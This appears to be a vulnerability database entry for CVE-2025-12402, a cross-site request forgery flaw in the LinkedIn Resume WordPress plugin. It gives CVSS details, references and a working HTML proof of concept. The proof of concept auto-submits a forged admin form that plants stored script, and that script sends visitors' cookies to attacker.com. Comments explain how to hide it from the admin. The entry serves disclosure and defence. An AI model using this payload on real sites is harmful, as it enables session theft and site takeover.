CVE-2025-12402

Description

The LinkedIn Resume plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.00. This is due to missing or incorrect nonce validation on the linkedinresume_printAdminPage() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LinkedIn Resume plugin for WordPress <= 2.00

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CVE-2025-12402 CSRF PoC for LinkedIn Resume Plugin -->
<!-- This PoC demonstrates how an attacker can inject malicious JavaScript -->
<!-- via CSRF attack against the vulnerable admin page -->

<!DOCTYPE html>
<html>
<head>
    <title>LinkedIn Resume Plugin CSRF PoC</title>
</head>
<body>
    <h1>CVE-2025-12402 CSRF Attack Demo</h1>
    <p>Click the button below to trigger the CSRF attack.</p>
    
    <!-- Auto-submit form that forges admin request -->
    <form id="csrfForm" 
          action="http://target-site.com/wp-admin/admin.php?page=linkedin-resume%2Flinkedinresume.php" 
          method="POST" 
          enctype="multipart/form-data">
        
        <!-- Inject malicious JavaScript payload -->
        <input type="hidden" name="linkedinresume_setting_option_name" value="<script>alert('XSS by CSRF');document.location='https://attacker.com/steal?c='+document.cookie</script>">
        <input type="hidden" name="linkedinresume_setting_field_api_key" value="malicious_api_key">
        <input type="hidden" name="linkedinresume_setting_field_secret_key" value="malicious_secret">
        <input type="hidden" name="submit" value="Update">
    </form>
    
    <script>
        // Auto-submit after page load
        document.getElementById('csrfForm').submit();
    </script>
    
    <p><strong>Note:</strong> For a real attack, this page would be disguised as something
    legitimate to trick the admin into visiting it.</p>
</body>
</html>

<!-- Alternative: Social engineering link -->
<!-- Attackers typically hide this form in an invisible iframe or use JavaScript to auto-submit -->
<!-- The admin only needs to visit the page while logged in to their WordPress site -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12402
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12402
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12402/
[4] VulDB https://vuldb.com/cve/CVE-2025-12402
[5] https://plugins.trac.wordpress.org/browser/linkedin-resume/tags/2.00/linkedinresume.php#L243
[6] https://plugins.trac.wordpress.org/browser/linkedin-resume/tags/2.00/linkedinresume.php#L245
[7] https://plugins.trac.wordpress.org/browser/linkedin-resume/tags/2.00/linkedinresume.php#L259
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/87efa10d-d359-4258-9db2-811d5ae75c60?source=cve

Raw JSON Data

JSON

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